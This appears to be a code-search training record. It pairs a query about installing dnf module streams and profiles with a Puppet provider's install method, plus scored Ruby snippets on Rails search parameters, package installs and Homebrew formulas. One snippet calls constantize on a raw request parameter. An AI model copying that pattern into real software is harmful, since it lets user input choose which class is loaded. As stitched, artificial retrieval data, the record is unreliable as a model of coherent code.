"def query_params\n {}\n end",
"def models\n @model_class = params[:model_class].constantize\n assoc = false\n query = params[:query]\n \n unless query.blank?\n query = query.gsub(/<\\/?[^>]*>/, '').downcase\n \n conditions = @model_class.searchables.map do |field|\n if @model_class.column_names.include?(field)\n \"#{@model_class.table_name}.#{field} ILIKE :q\"\n else\n assoc = @model_class.get_assoc_prefix_for(field)\n \"#{assoc[:prefix]}.#{field} ILIKE :q\"\n end\n end.join(' OR ') if @model_class.respond_to? :searchables\n \n options = { :conditions => [conditions, { :q => \"%#{query}%\" }] }\n options.store :include, assoc[:join] if assoc\n \n @results = @model_class.all options\n else\n flash[:error] = 'Type something in to search for, DUH!'\n end\n \n render :layout => false if request.xhr?\n end",
"def search_params\n [params[:label], params[:search]].join(\" \").strip\n end",
"def blacklisted_search_session_params\n [:commit, :counter, :total, :search_id, :per_page, :publication]\n end",
"def get_params()\n return self.params.keys\n end",
"def filtering_params(params)\n params.slice(:term)\n end",
"def query_params\n validate_params!\n \n qargs = {\n Ebay::Search::Api::OPERATION_NAME[:key] => Ebay::Search::Api::OPERATION_NAME[:value],\n Ebay::Search::Api::SERVICE_VERSION[:key] => Ebay::Search::Api::SERVICE_VERSION[:value],\n Ebay::Search::Api::SECURITY_APPNAME[:key] => self.app_name,\n Ebay::Search::Api::GLOBAL_ID[:key] => self.global_id,\n Ebay::Search::Api::RESPONSE_DATA_FORMAT[:key] => Ebay::Search::Api::RESPONSE_DATA_FORMAT[:value],\n Ebay::Search::Api::PER_PAGE[:key] => self.per_page,\n Ebay::Search::Api::KEYWORDS[:key] => self.keywords\n }\n \n query_formatter(qargs) do |params|\n params.join(\"&\")\n end\n end",
"def query_params\n params.fetch(:query, {})\n end",
"def allowed_query_params\n %w[include fields filter sort page]\n end",
"def search(params)\n filter_name, keywords, field_queries = extract params\n scope = filtered_by filter_name\n query = text_search keywords\n query = field_search field_queries, query\n scope.where query\n end",
"def _search_attributes\n _attrs.hmap do |name, settings|\n opts = settings[:options]\n next unless opts[:net_miner_search_path]\n [name, opts[:net_miner_search_path]]\n end\n end",
"def get_all()\n @params\n end",
"def filtering_params\n params.slice( :title, :location )\n end",
"def search_params\n params.require(:search).permit(:searchType, :fullTextSearch, :flightNumber, :pic, :sic, :airfield, :revenue, :memberName, :dateStart, :dateEnd, :prepMin, :prepMax, :caterMin, :caterMax, :depMin, :depMax, :flightMin, :flightMax, :arrMin, :arrMax, :maintMin, :maintMax, :catering, :maint, :createdBy, :hasComments, :save_search, :save_search_name, :overallmin, :overallmax, :user_id)\n end",
"def set_query_attributes!\n attr_names = self.class.search_query_attributes.map(&:to_s)\n self.query = attr_names.inject({}) { |memo, attr|\n memo[attr] = self.send(attr)\n memo\n }\n end",
"def advanced_search_context\n search_fields = search_fields_for_advanced_search\n skip = search_fields.map { |_key, field_def| field_def[:key] }\n skip += %i(q search_field f_inclusive op index sort page)\n search_state.params_for_search.except(*skip)\n end",
"def search_params\n params.require(:search).permit(:ris)\n end",
"def conditions_from_params\n conditions = nil\n params.reject {|key, value| [:controller, :action, :id].include?(key.to_sym)}.each do |key, value|\n next unless model.column_names.include?(key)\n if value.is_a?(Array)\n conditions = merge_conditions(conditions, [\"#{model_name.to_s.pluralize}.#{key.to_s} in (?)\", value])\n else\n conditions = merge_conditions(conditions, [\"#{model_name.to_s.pluralize}.#{key.to_s} = ?\", value])\n end\n end\n conditions\n end"
] |
[
"0.79279274",
"0.7138219",
"0.7130279",
"0.7130279",
"0.7130279",
"0.69336075",
"0.6910689",
"0.6885791",
"0.6873534",
"0.6815955",
"0.681338",
"0.6802341",
"0.67571557",
"0.6730063",
"0.670062",
"0.6698462",
"0.6678437",
"0.66590023",
"0.6657164",
"0.665496",
"0.6647552",
"0.6647552",
"0.6647552",
"0.6647552",
"0.6606087",
"0.6577643",
"0.65701556",
"0.65671784",
"0.65612227",
"0.654828",
"0.6531726",
"0.6505687",
"0.64665234",
"0.64665234",
"0.6460684",
"0.64409876",
"0.64375734",
"0.643151",
"0.64299774",
"0.6423707",
"0.6418218",
"0.63955075",
"0.63939065",
"0.63902617",
"0.6390099",
"0.6386563",
"0.6381231",
"0.63770825",
"0.63755137",
"0.63591564",
"0.6354374",
"0.6347428",
"0.6346325",
"0.6344379",
"0.63375634",
"0.6324094",
"0.6323153",
"0.63226974",
"0.6322549",
"0.63221514",
"0.63206303",
"0.6317394",
"0.63081306",
"0.63042164",
"0.6300106",
"0.6298552",
"0.62759244",
"0.6273201",
"0.6266661",
"0.6264649",
"0.62615967",
"0.62594366",
"0.62555885",
"0.6239944",
"0.6238229",
"0.62304527",
"0.62251145",
"0.62227124",
"0.62202054",
"0.62171626",
"0.62145656",
"0.62145656",
"0.62145656",
"0.6214371",
"0.6207323",
"0.61970496",
"0.61907405",
"0.6182273",
"0.6176726",
"0.61761177",
"0.61731434",
"0.61653656",
"0.61525023",
"0.6147868",
"0.6145507",
"0.6144527",
"0.6140122",
"0.61399513",
"0.6139561",
"0.6136482"
] |
0.75259227
|
1
|
to install specific streams and profiles: $ dnf module install modulename:stream/profile $ dnf module install perl:5.24/minimal if unspecified, they will be defaulted (see [d] param in dnf module list output)
|
def install
# ensure we start fresh (remove existing stream)
uninstall unless [:absent, :purged].include?(@property_hash[:ensure])
args = @resource[:name].dup
case @resource[:ensure]
when true, false, Symbol
# pass
else
args << ":#{@resource[:ensure]}"
end
args << "/#{@resource[:flavor]}" if @resource[:flavor]
if @resource[:enable_only] == true
enable(args)
else
begin
execute([command(:dnf), 'module', 'install', '-d', '0', '-e', self.class.error_level, '-y', args])
rescue Puppet::ExecutionFailure => e
# module has no default profile and no profile was requested, so just enable the stream
# DNF versions prior to 4.2.8 do not need this workaround
# see https://bugzilla.redhat.com/show_bug.cgi?id=1669527
if @resource[:flavor] == nil && e.message =~ /^(?:missing|broken) groups or modules: #{Regexp.quote(@resource[:name])}$/
enable(args)
else
raise
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def install\n args = @resource[:name]\n # ensure we start fresh (remove existing stream)\n uninstall unless [:absent, :purged].include?(@property_hash[:ensure])\n case @resource[:ensure]\n when true, false, Symbol\n # pass\n else\n args << \":#{@resource[:ensure]}\"\n end\n if @resource[:flavor]\n args << \"/#{@resource[:flavor]}\"\n end\n execute([command(:dnf), 'module', 'install', '-d', '0', '-e', self.class.error_level, '-y', args])\n end",
"def install!\n include_recipe 'apt'\n enable_i386_arch!\n add_repository!\n package('skype') { action :install }\n end",
"def install\n # # Changes log level to default value\n # inreplace \"etc/baetyl/conf.yml\" do |s|\n # s.gsub! \"level: debug\", \"\"\n # end\n\n bin.install Dir[\"bin/*\"]\n etc.install Dir[\"etc/*\"]\n end",
"def install\n system \"make\", \"-f\", \"LINUX/Makefile\"\n bin.install 'xum1541cfg'\n end",
"def install!\n cmd = [attributes.gem_binary, 'install']\n cmd << '-v' << attributes.version if attributes.version\n cmd << '--source' << attributes.source if attributes.source\n cmd << '--prerelease' if attributes.prerelease\n cmd << attributes.package_name\n\n run_command(cmd)\n end",
"def install(env); end",
"def install\n end",
"def install\n end",
"def install\n end",
"def install_in_ubuntu\n install_ppa(node['SignalFx_ppa']['collectd']['name'],\n node['SignalFx_ppa']['collectd']['uri'])\n install_ppa(node['SignalFx_ppa']['collectd_plugin']['name'],\n node['SignalFx_ppa']['collectd_plugin']['uri'])\n ubuntu_update\n install_package 'collectd'\nend",
"def install!(name:, dir: nil)\r\n end",
"def install_dep(name, version, install_dir = nil)\n install_dir ||= '/etc/puppet/modules'\n \"mkdir -p #{install_dir} && (puppet module list | grep #{name}) || puppet module install -v #{version} #{name}\"\nend",
"def install(name:, dir: nil)\r\n end",
"def install\n bin.install \"telepresence\"\n end",
"def install_management\n # Needed to play with the configuration database.\n package 'debconf'\n package 'debconf-utils'\n\n # Keys for Debian packages.\n package 'debian-archive-keyring'\n\n # Fetch files via HTTP.\n package 'curl'\n package 'wget'\n\n package 'dpkg-dev' # Builds packages from source.\n package 'openssh-server' # SSH into the box.\n\n # For gems with native extensions.\n package 'build-essential'\n package 'g++'\n\n # Pull code from version control.\n package 'subversion'\n package 'git-core'\n\n package 'avahi-daemon' # mDNS, a.k.a. Bonjour\n package 'ddclient' # dynamic DNS\n end",
"def install\n end",
"def install\n bin.install \"sack\", \"sag\", \"sgrep\", \"F\"\n end",
"def minimal!\n config.add_patterns! 'Minimal'\n config.add_packages! 'zypper'\n config.add_packages! 'openssh'\n end",
"def install!\n include_recipe 'zypper'\n super\n end",
"def install\n \n end",
"def install\n\t\tbin.install \"cpu-sentinel\"\n\t\tconfigdir.install \"procs.conf\"\n\tend",
"def install\n if resource[:ipsource] == \"static\"\n ip = resource[:ip]\n netmask = resource[:netmask]\n gateway = resource[:gateway]\n end\n #if resource[:snmp]\n # snmp = resource[:snmp]\n #end\n ipsrc = resource[:ipsource]\n if resource[:vlanid]\n vlanid = resource[:vlanid]\n end\n enable_channel\n end",
"def install\n # nothing to do\n end",
"def install!\n dmg_package 'Skype' do\n source URL\n action :install\n end\n end",
"def install_in_redhat(os, version)\n install_repo_rpms(os, version)\n install_package 'collectd'\n install_package 'collectd-disk'\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def install_gem; end",
"def install(pkg)\n package pkg do\n action :install\n end\nend",
"def install\n # system \"cmake\", \".\", *std_cmake_args\n system \"make\"\n bin.install \"dmp\"\n end",
"def dev(name, *args)\n mod \"puppet-#{name}\", :path => \"#{ENV['HOME']}/src/puppet/modules/#{name}\"\nend",
"def install\n\n # --- custom ---\n ENV.prepend_path \"PKG_CONFIG_PATH\", \"/usr/local/lib/pkgconfig/\"\n inreplace \"build/modules.conf.in\", /^codecs/, \"#codecs\"\n\n args = []\n if build.with?(\"freetype\")\n ENV.append_to_cflags \"-I#{Formula[\"freetype\"].opt_include}/freetype2/\"\n else\n args << \"--without-freetype\"\n end\n\n if build.with?(\"lua\")\n ENV.append_to_cflags \"-I#{Formula[\"lua\"].opt_include}/lua/\"\n else\n inreplace \"build/modules.conf.in\", \"languages/mod_lua\",\n \"#languages/mod_lua\"\n end\n\n if build.with?(\"amqp\")\n inreplace \"build/modules.conf.in\", \"#event_handlers/mod_amqp\",\n \"event_handlers/mod_amqp\"\n end\n\n if build.with?(\"shout\")\n inreplace \"build/modules.conf.in\", \"#formats/mod_shout\",\n \"formats/mod_shout\"\n end\n\n if build.with?(\"libyuv\")\n raise \"Building with libyuv is not supported yet\"\n else\n args << \"--disable-libyuv\"\n end\n\n if build.with?(\"libvpx\")\n raise \"Building with libvpx is not supported yet\"\n else\n args << \"--disable-libvpx\"\n end\n\n # --- end of custom ---\n\n ENV[\"ac_cv_lib_lzma_lzma_code\"] = \"no\" # prevent opportunistic linkage to xz\n\n # avoid a dependency on ldns to prevent OpenSSL version conflicts\n inreplace \"build/modules.conf.in\", \"applications/mod_enum\",\n \"#applications/mod_enum\"\n\n system \"./bootstrap.sh\", \"-j\"\n\n # tiff will fail to find OpenGL unless told not to use X\n inreplace \"libs/tiff-4.0.2/configure.gnu\", \"--with-pic\", \"--with-pic --without-x\"\n\n system \"./configure\", \"--disable-dependency-tracking\",\n \"--enable-shared\",\n \"--enable-static\",\n \"--prefix=#{prefix}\",\n \"--exec_prefix=#{prefix}\",\n *args,\n \"LIBS=#{ENV['LIBS']}\",\n \"CFLAGS=#{ENV['CFLAGS']}\",\n \"CXXFLAGS=#{ENV['CFLAGS']}\",\n \"LDFLAGS=#{ENV['LDFLAGS']}\"\n\n system \"make\"\n system \"make\", \"install\", \"all\"\n\n if build.with?(\"moh\")\n # Should be equivalent to: system \"make\", \"cd-moh-install\"\n mkdir_p share/\"freeswitch/sounds/music\"\n [8, 16, 32, 48].each do |n|\n resource(\"sounds-music-#{n}000\").stage do\n cp_r \".\", share/\"freeswitch/sounds/music\"\n end\n end\n end\n\n if build.with?(\"sounds-en\")\n # Should be equivalent to: system \"make\", \"cd-sounds-install\"\n mkdir_p share/\"freeswitch/sounds/en\"\n [8, 16, 32, 48].each do |n|\n resource(\"sounds-en-us-callie-#{n}000\").stage do\n cp_r \".\", share/\"freeswitch/sounds/en\"\n end\n end\n end\n\n if build.with?(\"sounds-fr\")\n # Should be equivalent to: system \"make\", \"cd-sounds-fr-install\"\n mkdir_p share/\"freeswitch/sounds/fr\"\n [8, 16, 32, 48].each do |n|\n resource(\"sounds-fr-ca-june-#{n}000\").stage do\n cp_r \".\", share/\"freeswitch/sounds/fr\"\n end\n end\n end\n\n if build.with?(\"sounds-ru\")\n # Should be equivalent to: system \"make\", \"cd-sounds-ru-install\"\n mkdir_p share/\"freeswitch/sounds/ru\"\n [8, 16, 32, 48].each do |n|\n resource(\"sounds-ru-RU-elena-#{n}000\").stage do\n cp_r \".\", share/\"freeswitch/sounds/ru\"\n end\n end\n end\n end",
"def main\n generate_config unless $dont_gen_conf\n\n if $just_gen_conf\n puts \"\\nSkips installing, just generated the config file!\".pink\n exit(0)\n end\n \n install_dependencies if $install_req\n\n install_to_directory\nend",
"def install\n args = %w{install -q}\n if @resource[:source]\n args << \"-e\"\n if String === @resource[:ensure]\n args << \"#{@resource[:source]}@#{@resource[:ensure]}#egg=#{\n @resource[:name]}\"\n else\n args << \"#{@resource[:source]}#egg=#{@resource[:name]}\"\n end\n else\n case @resource[:ensure]\n when String\n args << \"#{@resource[:name]}==#{@resource[:ensure]}\"\n when :latest\n args << \"--upgrade\" << @resource[:name]\n else\n args << @resource[:name]\n end\n end\n lazy_pip *args\n end",
"def install\n args = %w{install -q}\n if @resource[:source]\n args << \"-e\"\n if String === @resource[:ensure]\n args << \"#{@resource[:source]}@#{@resource[:ensure]}#egg=#{\n @resource[:name]}\"\n else\n args << \"#{@resource[:source]}#egg=#{@resource[:name]}\"\n end\n else\n case @resource[:ensure]\n when String\n args << \"#{@resource[:name]}==#{@resource[:ensure]}\"\n when :latest\n args << \"--upgrade\" << @resource[:name]\n else\n args << @resource[:name]\n end\n end\n lazy_pip *args\n end",
"def install\n system \"make\", \"stat\"\n bin.install \"namei\"\n end",
"def install!\n each_module do |repo|\n\n print_verbose \"\\n##### processing module #{repo[:name]}...\"\n\n module_dir = File.join(module_path, repo[:name])\n\n unless File.exists?(module_dir)\n case\n when repo[:git]\n install_git module_path, repo[:name], repo[:git], repo[:ref]\n when repo[:archive]\n install_archive module_path, repo[:name], repo[:archive]\n else\n abort('only the :git and :archive provider are currently supported')\n end\n else\n print_verbose \"\\nModule #{repo[:name]} already installed in #{module_path}\"\n end\n end\n end",
"def install\n cd_and_sh( pkg_dir, install_commands )\n end",
"def pre_install; end",
"def install\n safe_system \"pax --insecure -rz -f Payload.gz -s ',./bin,#{bin},' -s ',./man,#{man},' -s ',./lib,#{lib},' -s ',./license_gpl_pdftk,#{prefix}/LICENSE,' -s ',./,#{prefix}/README/,'\"\n end",
"def install\n system \"make\"\n bin.install \"ext4fuse\"\n end",
"def install\n #make both threaded and unthreaded versions\n system \"make -f Makefile.SSE3.gcc\"\n system \"make -f Makefile.SSE3.PTHREADS.gcc clean\"\n system \"make -f Makefile.SSE3.PTHREADS.gcc\"\n bin.install \"raxmlHPC-SSE3\"\n bin.install \"raxmlHPC-PTHREADS-SSE3\"\n end",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def dev(name, *args)\n mod name, :path => \"#{ENV['HOME']}/src/boxen/puppet-#{name}\"\nend",
"def install\n args = %w{install -q}\n if @resource[:source]\n args << \"-e\"\n if String === @resource[:ensure]\n args << \"#{@resource[:source]}@#{@resource[:ensure]}#egg=#{\n @resource[:name]}\"\n else\n args << \"#{@resource[:source]}#egg=#{@resource[:name]}\"\n end\n else\n case @resource[:ensure]\n when String\n args << \"#{@resource[:name]}==#{@resource[:ensure]}\"\n when :latest\n args << \"--upgrade\" << @resource[:name]\n else\n args << @resource[:name]\n end\n end\n args << pipproxyarg\n lazy_pip *args\n end",
"def install\n bin.install \"jsonfilter.sh\" => \"jsonfilter\"\n bin.install \"jsontocsv.py\" => \"jsontocsv\"\n bin.install \"tomltojsonfilter.sh\" => \"tomltojsonfilter\"\n bin.install \"yamltojsonfilter.sh\" => \"yamltojsonfilter\"\n bin.install \"csvtojson.sh\" => \"csvtojson\"\n bin.install \"jsontotomlfilter.sh\" => \"jsontotomlfilter\"\n bin.install \"jsontoyamlfilter.sh\" => \"jsontoyamlfilter\"\n # virtualenv_install_with_resources :using => \"python@3.6\"\n end",
"def install\n# Dependency tracking only, uncomment this section only if you know what you\n# are doing!\n#\n# mkdir 'build'\n# cd 'build' do\n# system \"cmake .. #{std_cmake_parameters}\"\n# system \"make package\"\n# end\nend",
"def install\n #python executable files\n end",
"def pkg_default_install\n bsdstyle = @bsdstyle\n make = @make\n sudo_cmd = ''\n\n if bsdstyle == true\n sudo_cmd = 'sudo'\n end\n if make.length == 0\n make = $bsyscfg.get_make\n end\n\n <<INSTALL\n#{sudo_cmd} #{make} DESTDIR=#{$project_rootdir}/ install\nINSTALL\n end",
"def install(src)\n buf = {\n :sources => nil,\n :dest => nil,\n :rename => nil,\n :directory? => false,\n :group => nil,\n :user => nil,\n :mode => '0755',\n }\n#TODO: check for leading '/': raise ArgumentError, 'absolute path is required' unless src[:dest].index(0) == '/'\n raise ArgumentError, ':dest is require' if src[:dest].nil?\n raise ArgumentError, 'Cannot specify both directory and sources' \\\n if buf[:directory] == true and not buf[:sources].nil\n @items.push buf.merge(src)\n end",
"def dist_install( *pkgs )\n raise \"Include a distro-specific component, e.g. Debian, RHEL\"\n end",
"def install\n plugin_title = @argv[1]\n graph_title = @argv[2]\n iptables_tags = @argv[3]\n\n target = File.expand_path(__FILE__)\n fname = \"#{File.basename target}_#{plugin_title}\"\n\n # plugin symlink\n system \"ln -s #{target} /etc/munin/plugins/#{fname}\"\n\n # munin_node_conf\n munin_node_conf = \"\\n[#{fname}]\\nuser root\\n\"\n munin_node_conf += \"env.GRAPH_TITLE #{graph_title}\\n\\n\"\n munin_node_conf += \"env.TAGS #{iptables_tags}\\n\\n\"\n\n File.open('/etc/munin/plugin-conf.d/munin-node', 'a').write munin_node_conf\n end",
"def package_install\n if distro.is_a?( Debian )\n dist_if_not_installed?( package_names ) do\n dist_install( *package_names, check_install: false )\n pg_stop\n end\n if shared_memory_max\n c = rput( 'etc/sysctl.d/61-postgresql-shm.conf', user: :root )\n unless c.empty?\n sudo \"sysctl -p /etc/sysctl.d/61-postgresql-shm.conf\"\n end\n c\n end\n else\n dist_install( *package_names )\n end\n end",
"def install\n copy_envrc\n copy_database_yml\n copy_docker_db_setup_sh\n system(`direnv allow`)\n print(\"#{readme}\\n\")\n end",
"def install\n raise \"Not implemented yet!\"\n end",
"def install\n system \"make\"\n bin.install \"xnelson\"\n man1.install \"xnelson.1\"\n end",
"def install\n system \"./configure\", \"--prefix=#{prefix}\", \"--disable-debug\", \"--disable-dependency-tracking\"\n# system \"cmake . #{cmake_std_parameters}\"\n system \"make install\"\n end",
"def install\n\t install_dir(plugin_dirs) do |file|\n\t\tnext if file =~ /ROBOT/\n\t\tfile\n\t end\n\tend",
"def install(component)\n $stdout.sync = true\n Cloudsap::Common.options = options\n Cloudsap::Common.set_plaintext_logger\n case component.to_sym\n when :irsa\n Cloudsap::Common.setup(options)\n Cloudsap::Aws::IamRole.irsa(PROGRAM_NAME, options.namespace).apply\n when :crd\n IO.foreach(\"#{Cloudsap::Common.assets}/cloudserviceaccount.yaml\") { |line| puts line }\n when :full\n values = {\n aws_region: options.aws_region,\n cluster_name: options.cluster_name,\n namespace: options.namespace,\n account_id: Cloudsap::Common.account_id\n }\n manifest = \"#{Cloudsap::Common.assets}/full_install_manifest.erb\"\n puts ERB.new(File.read(manifest)).result_with_hash(values)\n else\n msg = %(Invalid argument -- I don't know how to install: #{component})\n Cloudsap::Common.logger.fatal(msg)\n exit 1\n end\n end",
"def install_by(source)\n if source == :files\n new_resource.install_files.map { |file| unzip(file, tmpdir) }\n new_resource.repositories(path_to(tmpdir, 'repository.config'))\n install_options = [:install, new_resource.id,\n new_resource._?(:data_dir, '-dL'),\n new_resource._?(:shared_dir, '-sRD'),\n new_resource._?(:eclipse_dir, '-eclipseLocation'),\n new_resource._?(:repositories, '-repositories'),\n base_options]\n elsif source == :repository\n install_options = [:input, response_file, base_options]\n else\n raise \"Unknown source, `#{source}` to install with\"\n end\n install_options\n end",
"def install!\n src = package_source\n chk = package_checksum\n windows_package 'Chef Development Kit' do\n source src\n checksum chk\n end\n end",
"def install\n ENV[\"XML_CATALOG_FILES\"] = etc/\"xml/catalog\"\n system \"autoreconf\", \"--force\", \"--install\", \"--verbose\" if build.head?\n system \"./configure\", *std_configure_args,\n \"--disable-silent-rules\",\n \"--disable-video\",\n \"--without-python\",\n \"--without-qt\",\n \"--without-gtk\",\n \"--without-x\"\n system \"make\", \"install\"\n end",
"def install\n\n system \"cmake\", \".\", *std_cmake_args\n system \"make\", \"install\"\n\n resource(\"flightgear-data\").stage { (prefix/\"fgfs.app\"/\"Contents\"/\"Resources\"/\"data\").install Dir[\"./*\"] }\n \n #if build.with? \"scenery\"\n # resource(\"scenery\").stage { (\n #end\n\n end",
"def install\n args = std_cmake_args\n\n system \"cmake\", \".\", *args\n system \"make\", \"install\"\n prefix.install \"install_manifest.txt\"\n end",
"def install\n Core.install(gem_name: gem_name, base: base, **options)\n Badges.install(gem_name: gem_name, base: base, **options)\n Travis.install(gem_name: gem_name, base: base, **options)\n end",
"def install\n bin.install \"src/tagit\"\n bin.install \"src/bumpit\"\n end",
"def install\n bin.install \"#{PACKAGE_NAME}\"\n end",
"def install\n system \"cargo\", \"install\", \"--no-default-features\", \"--features\", \"default-no-update\",\n *std_cargo_args(path: \"cargo-nextest\")\n end",
"def install_pkgs! pkgs, opts\n log_shell \"Installing packages\", \"#{pkg_cmd} --sync --noconfirm --noedit --noprogressbar #{pkgs.join(' ')}\", :sudo => false\n end",
"def install\n # system \"./configure\", \"--disable-debug\", \"--disable-dependency-tracking\",\n \"--prefix=#{prefix}\"\n # system \"cmake . #{std_cmake_parameters}\"\n # system \"make install\" # if this fails, try separate make/make install steps\n # system \"cp -r lib samples #{prefix}\"\n prefix.install Dir[ '*' ]\n end",
"def install\n should = @resource.should(:ensure)\n self.debug \"Ensuring => #{should}\"\n wanted = @resource[:name]\n\n # XXX: We don't actually deal with epochs here.\n case should\n when true, false, Symbol\n # pass\n else\n # Add the package version\n wanted = \"#{wanted}-#{should}\"\n end\n\n #This has been tested with following zypper versions\n #SLE 10.2: 0.6.104\n #SLE 11.0: 1.0.8\n #OpenSuse 10.2: 0.6.13\n #OpenSuse 11.2: 1.2.8\n #Assume that this will work on newer zypper versions\n\n #extract version numbers and convert to integers\n major, minor, patch = zypper_version.scan(/\\d+/).map{ |x| x.to_i }\n self.debug \"Detected zypper version #{major}.#{minor}.#{patch}\"\n\n #zypper version < 1.0 does not support --quiet flag\n quiet = \"--quiet\"\n if major < 1\n quiet = \"--terse\"\n end\n\n license = \"--auto-agree-with-licenses\"\n noconfirm = \"--no-confirm\"\n\n #zypper 0.6.13 (OpenSuSE 10.2) does not support auto agree with licenses\n if major < 1 and minor <= 6 and patch <= 13\n zypper quiet, :install, noconfirm, wanted\n else\n zypper quiet, :install, license, noconfirm, wanted\n end\n\n unless self.query\n raise Puppet::ExecutionFailure.new(\n \"Could not find package #{self.name}\"\n )\n end\n end",
"def install(options = {})\n yield nil\n end",
"def install(options = {})\n yield nil\n end",
"def librarian_install_modules(directory, module_name)\n hosts.each do |host|\n sut_dir = File.join('/tmp', module_name)\n scp_to host, directory, sut_dir\n\n on host, \"cd #{sut_dir} && librarian-puppet install --clean --verbose --path #{host['distmoduledir']}\"\n\n puppet_module_install(:source => directory, :module_name => module_name)\n end\n end",
"def prepare_for_installation; end",
"def install\n # Find the arch for the Python we are building against.\n # We remove 'ppc' support, so we can pass Intel-optimized CFLAGS.\n archs = archs_for_command(\"python\")\n archs.remove_ppc!\n arch_flags = archs.as_arch_flags\n\n ENV.append 'CFLAGS', arch_flags\n ENV.append 'LDFLAGS', arch_flags\n\n system \"python\", \"uwsgiconfig.py\", \"--build\"\n bin.install \"uwsgi\"\n end",
"def install\n # Delete config.toml to avoid targeting newer CPU. Remove in the next release.\n # Fixed upstream: https://github.com/ImageOptim/gifski/commit/7e31a4c45def29b9e9c082460ab02a28f0e8730e\n (buildpath/\".cargo/config.toml\").unlink\n\n system \"cargo\", \"install\", \"--features\", \"video\", *std_cargo_args\n end",
"def install_tools\n # For eventmachine.\n package 'libssl-dev'\n\n # For rmagick (image processing).\n package 'libmagickwand-dev', /^libmagick\\d*-dev$/\n\n # For HTML/XML parsers (nokogiri, hpricot).\n package 'libxml2-dev'\n package 'libxslt1-dev'\n\n # For HTTP fetchers (curb).\n package 'libcurl-dev', 'libcurl-openssl-dev', /^libcurl\\d*-dev$/,\n /^libcurl\\d*-openssl-dev$/\n\n # needed for solr and other java-based services\n package /^openjdk-\\d+-jdk/\n\n # useful to be able to work with compressed data\n package 'zlib-dev', /^zlib[0-9a-z]*-dev$/\n package 'bzip2'\n package 'gzip'\n package 'tar'\n package 'zip'\n end",
"def install\n each { |m| m.install }\n end",
"def install_dev_repo_on(host, package, sha, repo_configs_dir)\n platform = host['platform'] =~ /^(debian|ubuntu)/ ? host['platform'].with_version_codename : host['platform']\n platform_configs_dir = File.join(repo_configs_dir, platform)\n\n case platform\n when /^(fedora|el|centos)-(\\d+)-(.+)$/\n variant = (($1 == 'centos') ? 'el' : $1)\n fedora_prefix = ((variant == 'fedora') ? 'f' : '')\n version = $2\n arch = $3\n\n #hack for https://tickets.puppetlabs.com/browse/RE-1990\n # Previously this used `host.is_pe?`, but with AIO this is no longer\n # reliable. Defaulting to `true` since these tests only happen in PE.\n if true\n pattern = \"pl-%s-%s-repos-pe-%s-%s%s-%s.repo\"\n else\n pattern = \"pl-%s-%s-%s-%s%s-%s.repo\"\n end\n repo_filename = pattern % [\n package,\n sha,\n variant,\n fedora_prefix,\n version,\n arch\n ]\n\n repo = fetch(\n \"http://builds.puppetlabs.lan/%s/%s/repo_configs/rpm/\" % [package, sha],\n repo_filename,\n platform_configs_dir\n )\n\n scp_to(host, repo, '/etc/yum.repos.d/')\n\n when /^(debian|ubuntu)-([^-]+)-(.+)$/\n variant = $1\n version = $2\n arch = $3\n\n list = fetch(\n \"http://builds.puppetlabs.lan/%s/%s/repo_configs/deb/\" % [package, sha],\n \"pl-%s-%s-%s.list\" % [package, sha, version],\n platform_configs_dir\n )\n\n scp_to host, list, '/etc/apt/sources.list.d'\n on host, 'apt-get update'\n else\n host.logger.notify(\"No repository installation step for #{platform} yet...\")\n end\n end",
"def install\n # we prefetched also not installed ports so @portorigin may be present\n name = @portorigin || resource[:name]\n do_portupgrade name, install_options, resource[:package_settings]\n end",
"def install\n # we prefetched also not installed ports so @portorigin may be present\n name = @portorigin || resource[:name]\n do_portupgrade name, install_options, resource[:package_settings]\n end",
"def install\n system \"./configure\", \"--prefix=#{prefix}\", \"--disable-debug\", \"--disable-dependency-tracking\"\n# system \"cmake\", \".\", *std_cmake_args\n system \"make install\"\n end",
"def install\n system \"./configure\", \"--disable-dependency-tracking\",\n \"--disable-silent-rules\",\n \"--enable-introspection\",\n \"--prefix=#{prefix}\"\n system \"make\", \"install\"\n end",
"def installNagios\n `yum install -y gcc glibc glibc-common gd gd-devel make net-snmp openssl-devel xinetd`\n configUsers\n installPackages\n configNRPE\n `iptables -I INPUT 1 -s #{@ip}/#{@mask} -p tcp -m tcp --dport 5666 -j ACCEPT`\n `service iptables save`\n `service iptables restart`\n end",
"def install\n bin.install \"printdir\"\n end",
"def install\n nil\n end",
"def install_repo!\n package 'apt-transport-https'\n include_recipe \"apt-chef::#{new_resource.channel}\"\n package 'chefdk' do\n version new_resource.version unless new_resource.version == 'latest'\n end\n end",
"def install\n system \"/bin/sh\", \"install.sh\", prefix\n mv prefix/'man', share\n end",
"def install\n pacman \"--noconfirm\", \"--noprogressbar\", \"-Sy\", @resource[:name]\n\n unless self.query\n raise Puppet::ExecutionFailure.new(\"Could not find package %s\" % self.name)\n end\n end",
